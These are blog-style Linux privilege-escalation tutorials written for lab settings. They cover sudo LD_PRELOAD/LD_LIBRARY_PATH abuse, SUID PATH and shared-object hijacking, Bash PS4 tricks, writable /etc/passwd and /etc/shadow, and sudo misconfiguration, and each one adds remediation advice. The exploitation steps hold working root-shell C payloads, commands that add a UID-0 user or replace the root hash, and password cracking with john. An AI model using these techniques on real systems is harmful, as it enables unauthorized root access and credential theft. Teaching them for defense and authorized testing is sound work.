LD_LIBRARY_PATH: It defines a search path for shared libraries. If manipulated, it can force the system to load malicious libraries from unintended locations.

• Modifying LD_LIBRARY_PATH to load unauthorized or malicious libraries before the legitimate ones, enabling unauthorized code execution.

LD_PRELOAD loads a shared object before any others when a program is run. LD_LIBRARY_PATH provides a list of directories where shared libraries are searched for first.

Example of a misconfigured sudoers

• sudo -l

Explanation

env_reset: This option resets the environment to a default, secure state before executing a command using sudo. It clears the environment variables that might pose a security risk or influence command behavior in an unintended way.

env_keep+=LD_PRELOAD: This part instructs sudo to preserve the LD_PRELOAD environment variable from being reset. The += means to add to the list of preserved variables. LD_PRELOAD allows the preloading of shared libraries before other libraries, which could potentially be exploited for malicious purposes. By keeping this variable, it remains unchanged when sudo resets the rest of the environment.

env_keep+=LD_LIBRARY_PATH: Similar to LD_PRELOAD, this line also tells sudo to preserve the LD_LIBRARY_PATH environment variable. LD_LIBRARY_PATH specifies additional paths to search for shared libraries. Preserving it could be useful in certain scenarios where specific libraries need to be located.

This is how a default sudoers looks like

Identification

1. To identify if LD_PRELOAD or LD_LIBRARY_PATH have been enabled, we can run

• sudo -l

Note: We can also read /etc/sudoers, but that is usually restricted

LinPEAS

1. Using LinPEAS.sh we can enumerate sudo -l as well (https://github.com/carlospolop/PEASS-ng/tree/master)

• ./LinPEAS.sh

Exploitation: LD_PRELOAD

1. When a program is running, LD_PRELOAD loads a shared object before any others. By writing a simple script with init() function, it will help us execute code as soon as the object is loaded.

2. Create a new shared object

• cd tmp
• vi preload.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setresuid(0,0,0);
    system("/bin/bash -p");
}

3. Compile the code

• gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
• ls -l preload*

3. Run one of the programs you are allowed to run via sudo (listed when running sudo -l), while setting the LD_PRELOAD environment variable to the full path of the new shared object( sudo LD_PRELOAD=/tmp/preload.so program-name-here)

• sudo -l
• sudo LD_PRELOAD=/tmp/preload.so /usr/bin/man
• whoami && id

4. Now you are root!

Exploitation: LD_LIBRARY_PATH

1. The LD_LIBRARY_PATH contains a list of directories which search for shared libraries first. You must test each of the shared libraries to know which one is vulnerable

• sudo -l
• ldd /usr/sbin/iftop

2. Use one of the shared objects in the list and we will hijack it by creating a file with same name. For this demonstration, we will be targeting the libpthread.so.0 (/lib/libpthread.so.0) file.

• vi library_path.c
• cat library_path.c

#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));

void hijack() {
    unsetenv("LD_LIBRARY_PATH");
    setresuid(0,0,0);
    system("/bin/bash -p");
}

3. Create a shared object with the same name as one of the listed libraries

• gcc -o /tmp/libpthread.so.0 -shared -fPIC /tmp/library_path.c
• ls -l lib*

4. Run one of the programs you are allowed to run via sudo (listed when running sudo -l), while setting the LD_LIBRARY_PATH environment variable to the full path of the new shared object( sudo LD_LIBRARY_PATH=/tmp/libgdbm.so.3 program-name-here)

• sudo LD_LIBRARY_PATH=/tmp /usr/sbin/iftop
• whoami && id

5. Now you are root!

Extra

1. Try renaming /tmp/libgdbm.so.3 to the name of another library used by the program and re-run it using sudo again. Did it work? If not, try to figure out why not, and how the library_path.c code could be changed to make it work.

Remediation

• Restrict Environment Variables: Within the sudo configuration, limit or explicitly deny the preservation of critical environment variables like LD_PRELOAD and LD_LIBRARY_PATH.
• Use Defaults: Set the env_reset option in the sudoers file to reset the environment to a default state, clearing potentially dangerous variables.
• Whitelist Approved Paths: If necessary, specify approved paths within the sudoers file where LD_LIBRARY_PATH can be used.
• Update sudo Configuration: Regularly review and update the sudo configuration to reflect the least privilege principle and remove unnecessary permissions.

[Privilege Escalation] SUID / SGID Executables – Environment Variables

by Vry4n_ | Nov 13, 2023 | Privilege Escalation

SUID (Set User ID) and SGID (Set Group ID) are permissions in Unix-based systems that allow users to execute a file with the permissions of the file owner or group, respectively. When these permissions are set on executables and combined with environment variables, it can lead to potential security vulnerabilities if not managed properly.

Environment variables, like PATH, LD_LIBRARY_PATH, or PYTHONPATH, can be manipulated by attackers to potentially influence the behavior of SUID/SGID executables. If an SUID/SGID binary relies on environment variables to locate libraries, binaries, or configurations, an attacker can manipulate these variables to control the behavior of the executable.

If a program is attempting to execute programs without specifying an absolute path, we could modify the $PATH variables, to direct the program to our own script or binary.

Identification

SUID

1. To hunt for all SUID binaries on the system

• find / -type f -perm -4000 2>/dev/null
• find / -type f -perm -u=s 2>/dev/null

SGID

1. You can also search for specific user SUID

• find / -type f -perm -4000 -user root -ls 2>/dev/null
• find / -type f -perm -u=s -user root -ls 2>/dev/null

Extra

1. You can search for both at the same time

• find / \( -perm -4000 -o -perm -2000 \) -type f -exec ls -la {} \; 2> /dev/null
• find / \( -perm -g=s -o -perm -u=s \) -type f -exec ls -la {} \; 2> /dev/null

LinPEAS

1. Using LinPEAS.sh we can enumerate SUID and SGID

• Transfer the script into the target machine
• Run it: ./LinPEAS.sh

suid3num

1. Enumerate SUID using suid3num.py script (https://github.com/Anon-Exploiter/SUID3NUM), we’ll take a look at /usr/local/bin/suid-so

• Python2.6 suid3enum.py

Exploitation #1

1. In our case, we see some interesting SUID/SGID set files. I will test suid-env against this vulnerability. We can review this code, to try to find any program being called without specifying the absolute path

• strings /usr/local/bin/suid-env

Note: In our case, we found this program trying to execute apache2, One line (“service apache2 start”) suggests that the service executable is being called to start the webserver, however the full path of the executable (/usr/sbin/service) is not being used.

2. Create a code that spawns a shell, in any writable directory, and call it as service, then compile it

int main() {
    setuid(0);
    system("/bin/bash -p");
}

• vi service.c
• cat service.c
• gcc -o service service.c
• ls -l service*

3. Prepend the current directory (or where the new service executable is located) to the PATH variable, and run the suid-env executable to gain a root shell

• echo $PATH
• pwd
• export PATH=/home/user:$PATH
• cat $PATH

Note: You can also run, not to change the environment variable

• PATH=.:$PATH /usr/local/bin/suid-env

4. Execute the program, you should have a new shell as root

• /usr/local/bin/suid-env
• whoami && id

Exploitation #2 (absolute path)

1. The /usr/local/bin/suid-env2 executable is identical to /usr/local/bin/suid-env except that it uses the absolute path of the service executable (/usr/sbin/service) to start the apache2 webserver.

• strings /usr/local/bin/suid-env2

2. In Bash versions <4.2-048 it is possible to define shell functions with names that resemble file paths, then export those functions so that they are used instead of any actual executable at that file path.

• /bin/bash –version

3. Create a Bash function with the name “/usr/sbin/service” that executes a new Bash shell (using -p so permissions are preserved) and export the function, then run the program

• function /usr/sbin/service { /bin/bash -p; }
• export -f /usr/sbin/service
• /usr/local/bin/suid-env2
• Whoami && id

Exploitation #3

1. This will not work on Bash versions 4.4 and above. When in debugging mode, Bash uses the environment variable PS4 to display an extra prompt for debugging statements.

• /bin/bash –version

2. Run the /usr/local/bin/suid-env2 executable with bash debugging enabled and the PS4 variable set to an embedded command which creates an SUID version of /bin/bash:

• env -i SHELLOPTS=xtrace PS4=’$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)’ /usr/local/bin/suid-env2

Note: this command will copy /bin/bash as root, copy it to /tmp as rootbash, and then, set it as sticky bit

3. Now make sure the rootbash file was created, and then run it

• ls -l /tmp
• /tmp/rootbash
• whoami && id

Recommendations

• Limit Environment Variable Usage: Minimize the reliance of SUID/SGID executables on environment variables whenever possible.
• Hardcode Paths: Instead of relying on environmental variables, specify full paths to necessary binaries, libraries, and configurations within the code of the executable.
• Restricted Environment: Implement a restricted environment for the execution of SUID/SGID executables to control and sanitize the environment variables available to them.
• Code Review: Analyze the code of SUID/SGID executables to understand their reliance on environment variables.
• Static Analysis Tools: Use tools that scan code for potential vulnerabilities related to environment variables.
• Runtime Monitoring: Monitor the behavior of SUID/SGID executables for any unexpected or unauthorized actions.

[Privilege Escalation] SUID / SGID Executables – Shared Object Injection

by Vry4n_ | Nov 13, 2023 | Privilege Escalation

UID (Set User ID) and SGID (Set Group ID) are permission bits in Unix-based systems that allow users to execute a program with the permissions of the file owner or group respectively. When these permissions are set on executable files, it can lead to potential security vulnerabilities if not managed properly.

Shared Object Injection is a type of attack where an attacker exploits SUID/SGID executables by injecting malicious code into shared libraries or altering the search path for libraries. This allows the attacker to execute unauthorized commands with elevated privileges, posing a significant security risk.

Once a program is executed, it will seek to load the necessary shared objects. We can use a program called strace to track the shared objects that being called. If a shared object were not found, we can hijack it and write a malicious script to spawn a root shell when it is loaded.

Identification

SUID

1. To hunt for all SUID binaries on the system

• find / -type f -perm -4000 2>/dev/null
• find / -type f -perm -u=s 2>/dev/null

SGID

1. You can also search for specific user SUID

• find / -type f -perm -4000 -user root -ls 2>/dev/null
• find / -type f -perm -u=s -user root -ls 2>/dev/null

Extra

1. You can search for both at the same time

• find / \( -perm -4000 -o -perm -2000 \) -type f -exec ls -la {} \; 2> /dev/null
• find / \( -perm -g=s -o -perm -u=s \) -type f -exec ls -la {} \; 2> /dev/null

LinPEAS

1. Using LinPEAS.sh we can enumerate SUID and SGID

• Transfer the script into the target machine
• Run it: ./LinPEAS.sh

suid3num

1. Enumerate SUID using suid3num.py script (https://github.com/Anon-Exploiter/SUID3NUM), we’ll take a look at /usr/local/bin/suid-so

• Python2.6 suid3enum.py

Exploitation

1. Run the strace and you’ll notice the last shared object that is not found and located at /home/user which is the folder we can write to. ( open(“/home/user/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory) )

• strace /usr/local/bin/suid-so 2>&1 | grep -iE “open|access|no such file”

Note: if the directory doesn’t exist in the path just create it, to replicate the same exact path.

2. Create a file named libcalc.c, as the strace output shows, with the contents

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
    setuid(0);
    system("/bin/bash -p");
}

Note, this script will run a new shell as the owner of the SUID file

3. Compile it and the output should be the same file name (shared object) that is being called by the SUID.

• gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/.config/libcalc.c

4. (Optional) Run strace again, and, see that now the dependency is found (you may need to kill the process with CTLR+C)

• strace /usr/local/bin/suid-so 2>&1 | grep -iE “open|access|no such file”

5. Now, run the SUID program, and see what happens

• /usr/local/bin/suid-so
• whoami && id

Recommendations

• Reduce Privilege: Minimize the use of SUID/SGID permissions. Only set them when absolutely necessary.
• Regular Updates: Keep software and system libraries updated to patch known vulnerabilities.
• Use Capabilities Instead: Consider using Linux capabilities to grant specific privileges to processes rather than using SUID/SGID where possible.
• Secure Coding Practices: Develop secure code and review it regularly to avoid vulnerabilities.
• Least Privilege Principle: Limit the use of SUID/SGID permissions. Only assign these permissions when there’s a clear need.
• Regular Security Audits: Conduct periodic audits to identify and rectify vulnerabilities.
• Access Controls: Implement strong access controls and user permissions to limit the impact of any potential breach.
• Monitoring and Alert Systems: Employ systems to monitor unusual behavior and set up alerts for any unauthorized access attempts.
• Network Segmentation: Isolate critical systems to minimize the impact of a potential breach.

[Privilege Escalation] SUID / SGID Executables – Known Exploits

by Vry4n_ | Nov 13, 2023 | Privilege Escalation

The setuid/setgid (SUID/SGID) bits allows the binary to run with the privileges of the user/group owner instead of those of the user executing it. They can be spotted with the s or S permission in the file user or group owner permissions (i.e. —s–s—). When the file permissions features an uppercase S instead of a lowercase one, it means the corresponding user or group owner doesn’t have execution rights.

Vulnerable programs with these permissions are often targeted by attacker to obtain the user (for setuid) or group (for setgid) privileges. There are many techniques that attackers can use to hijack these binaries and obtain the associated rights.

Identification

SUID

1. To hunt for all SUID binaries on the system

• find / -type f -perm -4000 2>/dev/null
• find / -type f -perm -u=s 2>/dev/null

SGID

1. You can also search for specific user SUID

• find / -type f -perm -4000 -user root -ls 2>/dev/null
• find / -type f -perm -u=s -user root -ls 2>/dev/null

Extra

1. You can search for both at the same time

• find / \( -perm -4000 -o -perm -2000 \) -type f -exec ls -la {} \; 2> /dev/null
• find / \( -perm -g=s -o -perm -u=s \) -type f -exec ls -la {} \; 2> /dev/null

LinPEAS

1. Using LinPEAS.sh we can enumerate SUID and SGID

• Transfer the script into the target machine
• Run it: ./LinPEAS.sh

Exploitation

1. Once you identify the list of SUID/SGID, you need to start searching for vulnerabilities related to the program. In order to start, you need to find the program information such a version number.

In this case, I will inspect exim4, program, so I start by looking at the version, first I take a look at the installed programs

• dpkg -l | grep -i exim

Note, this time it only shows like dependencies, we can also search for the program dependencies

• ldd /usr/sbin/exim4

2. Doing some research online, I found the command to print the exact version

• exim4 –version

3. Knowing the version we can search on different sources for vulnerabilities & exploits

• Google
• Exploit DB
• IBM Xforce
• Github
• Rapid7
• CXSecurity
• Vulnerability Lab
• 0day
• SecurityFocus
• Packet Storm Security
• Google Hacking Database
• CVE Details
• SecurityFocus

4. Searching in CVE Details for (exim 4.48) I found an interesting CVE, we need to investigate about it, and try to find an exploit.

4. We can search for this CVE in different sources like exploit DB or google as PoC, I found some exploits in Exploit-DB using searchsploit

4. Looking for this CVE in ExploitDB I found (https://www.exploit-db.com/exploits/39535)

5. I run it in the server, and since, this is running SUID, it executes and runs as root

Recommendations

Review and Minimize SUID/SGID Executables:

• Identify and review all files with SUID/SGID permissions.
• Evaluate the necessity of these permissions for each file. Remove SUID/SGID where unnecessary.

Use Least Privilege Principle:

• Only grant SUID/SGID permissions where absolutely needed.
• Assign permissions narrowly to limit potential exploitation.

Regularly Update and Patch:

• Keep software and systems up to date to patch known vulnerabilities associated with SUID/SGID binaries.

Utilize Seccomp and AppArmor/SELinux:

• Implement these security frameworks to confine processes, limiting the potential damage if SUID/SGID binaries are compromised.

Monitor and Audit:

• Implement logging and auditing to monitor the usage and behavior of SUID/SGID binaries for suspicious activities.

[Privilege Escalation] Weak File Permissions – Writable /etc/passwd

by Vry4n_ | Nov 12, 2023 | Privilege Escalation

The /etc/passwd file is a crucial system file in Unix-based operating systems like Linux. It contains essential information about user accounts on the system. Each line in the file represents a single user account and is structured with several fields separated by colons.

Here’s an example entry:

• john:x:1001:1001:John Doe:/home/john:/bin/bash

Let’s break down the fields:

• Username (john): This is the username associated with the account.
• Password Placeholder (x): Historically, the password was stored in this field, represented by an ‘x,’ but modern systems store the password in a separate file (like /etc/shadow) for security reasons.
• User ID (UID) (1001): This is a unique numerical ID assigned to the user. It helps the system identify users by number rather than by name.
• Group ID (GID) (1001): This is the primary group ID associated with the user. Every user belongs to at least one group.
• User Information (John Doe): This field typically contains additional information about the user, like their full name.
• Home Directory (/home/john): This is the absolute path to the user’s home directory, where they land upon logging in.
• Login Shell (/bin/bash): This specifies the user’s default shell, the program that allows them to interact with the system.

Exploiting weak permissions in the /etc/passwd file could allow unauthorized users to access or modify it. For instance, if the permissions are set too loosely (allowing write access to non-privileged users), attackers might tamper with this file to create new user accounts, change passwords, or modify existing account information. This can lead to unauthorized access, privilege escalation

The default permissions should be, read & write for the owner (root), read permissions for root group members and other users

Identification

1. Check manually the /etc/passwd permissions

• ls -l /etc/passwd

In this case the WRITE permissions have been granted to other users. Since we can write this file we could do:

• Change an existing user password
• Add a new user
• Modify user information

2. Using LinPEAS.sh you can also find clues about this misconfiguration being present. (https://github.com/carlospolop/PEASS-ng/tree/master)

• ./LinPEAS.sh

Exploitation: Change users’ password

1. Having the ability to modify the /etc/passwd file, we can create a password hash, and, replace an user’s password field with the new hash (between the first and second colon (:) of the root user’s row (replacing the “x”). I will replace root user password field

• openssl passwd newpassword

2. Modify the /etc/passwd, the root user line

Before

• cat /etc/passwd | grep root

After

• cat /etc/passwd | grep root

3. Try to log in as root, or change user using su, enter the new password

• su root
  • Password: newpasswd
• ssh root@<IP>

Exploitation: Adding a new user

1. Having the ability to modify the /etc/passwd file, we can create a new user, copying root user’s row and append it to the bottom of the file, changing the first instance of the word “root” to “newroot” and placing the generated password hash between the first and second colon (replacing the “x”).

• openssl passwd newpassword

2. Create a backup file of /etc/passwd

• cp /etc/passwd passwd

3. Create a new user, (escape any special characters if needed)

• echo “newroot:\$1\$hDAn9mjC\$.vdrna/Mo3ZORX13yGHD.1:0:0:root:/root:/bin/bash” >> /etc/passwd

4. Verify the line was appended successfully

• cat /etc/passwd | grep newroot

5. Now try to log in using this new user, or change to it using su command

• su newroot
  • newpassword
• ssh newroot@10.10.48.238

Remediation

User Permissions and Access Control:

• Review and set proper file permissions for critical system files like /etc/passwd and /etc/shadow. Only allow root or specific privileged users to modify these files.
• Implement the principle of least privilege. Users should only have the permissions necessary to perform their tasks.

Backup and Recovery:

• Regularly back up critical data and ensure a solid disaster recovery plan. This allows you to restore the system in case of a successful attack.

Monitoring and Logging:

• Implement robust logging and monitoring mechanisms to track system activity. Tools like intrusion detection systems (IDS) or security information and event management (SIEM) can help detect anomalies.
• Regularly review system logs to identify unusual activity, login attempts, or modifications to critical files.

[Privilege Escalation] Weak File Permissions – /etc/shadow

by Vry4n_ | Nov 12, 2023 | Privilege Escalation

The /etc/shadow file is a crucial component in Unix-based operating systems, such as Linux. It stores encrypted user passwords and related information, providing an additional layer of security by restricting access to sensitive authentication data.

In this file, user passwords are not stored in plain text. Instead, they are encrypted using various hashing algorithms, with the most common being the SHA-512 (Secure Hash Algorithm) or MD5 (Message Digest Algorithm 5) encryption methods. These algorithms create a hashed version of the passwords, making it computationally challenging to reverse the process and obtain the original password.

Common hash types in /etc/shadow:

• MD5: Typically begins with $1$
• SHA-256: Often starts with $5$
• SHA-512: Generally starts with $6$

However, despite the encryption, the /etc/shadow file is a prime target for attackers. If unauthorized individuals gain access to this file, they might use various methods (like brute-force attacks or exploiting vulnerabilities) to crack the hashed passwords, gaining entry to user accounts.

This is how /etc/shadow permissions show look like, only root user can modify it, and other users that belong to the shadow group can read it

• ls -l /etc/shadow

The /etc/shadow file in Unix-based operating systems contains sensitive information related to user accounts. Each line in the file represents a single user, and these lines consist of several fields or columns, separated by colons. Here’s a breakdown of the columns in the /etc/shadow file:

kali:$y$j9T$7X9YlJ7c4u44URQvzTxxT0$BisyVCLhoPfP22Svis.MdkL02jMCFEJgT7yJIRCHp3G/:19426:0:99999:7:::

• Username: This column contains the username or login name of the user.
• Password: In modern systems, the password field typically doesn’t contain the actual password. Instead, it stores a hashed version of the password. The hashed password is not reversible, meaning it can’t be converted back to the original password. Instead, during login, the system hashes the entered password and compares it with the stored hashed value to authenticate the user.
• Last Password Change (in Days): This field records the number of days since the password was last changed. It helps in password expiration policies or identifying when the password was last updated.
• Minimum Password Age: This column signifies the minimum number of days a user must wait before changing their password. It’s a part of password policy management.
• Maximum Password Age: This column indicates the maximum number of days a user can keep a password before being required to change it. This field also contributes to password policy management.
• Password Warning Period: This field typically provides a warning to the user that their password is about to expire within a certain number of days.
• Password Inactivity Period: If a password remains unused for a specified period, it may be disabled or locked. This field defines the period of inactivity before such action is taken
• Account Expiration Date: This column specifies the date when the account will expire or be disabled. After this date, the user may not be able to log in without administrative intervention.
• Reserved: This field is often reserved for future use or system-specific settings.

Identification

1. The easiest way is to run “ls” command

• ls -l /etc/shadow
• id

In this particular case, we notice out user is not part of the shadow group, but we noticed the /etc/shadow file has READ,WRITE permissions for other users, this means we have permissions to modify this file.

2. Using LinPEAS.sh you can also find clues about this vulnerability being present. (https://github.com/carlospolop/PEASS-ng/tree/master)

• ./LinPEAS.sh

Exploiting /etc/shadow READ permission

1. Having the ability to read /etc/shadow, we can copy the contents of it, and then, crack the hashes using john

• cat /etc/shadow

2. Copy the contents of it into your own machine, or use any type of file transfer method you prefer, I’ll create a file named shadow

• vi shadow

3. Now, use john against this file to try to crack the passwords, you can also specify the type of hash using –format=<hash type> argument

• john –wordlist=/usr/share/wordlists/rockyou.txt shadow
• john –wordlist=/usr/share/wordlists/rockyou.txt shadow –format=sha512crypt

4. We got the password (password321) of user (user)

5. We can also take just one line for one single user, and, crack it, in case the whole file doesn’t provide enough passwords

• john –wordlist=/usr/share/wordlists/rockyou.txt shadow

6. Also, we can retrieve previous cracked passwords by using –show parameter, having the root password we can log in as this user

• john –show shadow

Exploiting /etc/shadow WRITE permission

1. Having the ability to modify the /etc/shadow file, we can generate our own password hash and replace the password field of an existing user, we can modify the root user password, use any accepted hashing algorithm

• mkpasswd -m sha-512 newpassword

2. Create a backup of the /etc/shadow file

• cp /etc/shadow shadow.bak
• ls

3. Copy the output hash, and, replace the root hash with our new hash

Before

After

4. Now we can log in as root

• ssh root@10.10.150.52

Extra

1. You can also use sed command to create a whole new line, to copy & paste

• sed ‘s/^root:[^:]*:/root:<hash>:/g’ /etc/shadow | grep <user>
• sed ‘s/^root:[^:]*:/root:$6$kIW2RPXnEttDUn1y$7VCgKvZGaJhS06zJZfWbcGbybqDaynTQMnpZjFjrFcLy9KJ\/97pxQXM5ASSssIUV\/Vydx8QSWJkUPH0tvqoVH\/:/g’ /etc/shadow | grep root

Recommendations

To secure the /etc/shadow file and the passwords within:

• Restrict File Access: Limit access to this file to only privileged users. Regular users should not have permission to view or modify it.
• Use Strong Passwords: Encourage users to create strong, complex passwords that are less susceptible to brute-force attacks.
• Encryption Algorithm: Consider using more secure encryption algorithms (such as SHA-512 over MD5) for password hashing.
• Monitor File Changes: Implement monitoring tools that can alert administrators about any changes made to the /etc/shadow file.
• Access Controls and Logging: Set up access controls and robust logging mechanisms to track and monitor any access or modifications to the file.

[Privilege Escalation] SUDO rights to all the commands on the host

by Vry4n_ | Oct 6, 2023 | Privilege Escalation

A misconfiguration in /etc/sudoers allows members of group sudo to execute any command

Identification

1. Running the following command give us a hint

• sudo -l

2. In the /etc/sudoers, the configuration should show like this

• cat /etc/sudoers

3. We can also make sure our user is part of this group

• id

Exploitation

1. Knowing the sudoers file allows all members of sudo group to execute any command with privilege rights, and making sure our user is part of this group, we can go ahead, and run for example bash as root

• sudo bash

Note: If (NOPASSWD) is specified within the configuration, then no need to use the user’s password.

Remedy

Configure properly permissions to users that require, apply least privilege principles to each user that requires higher privileges.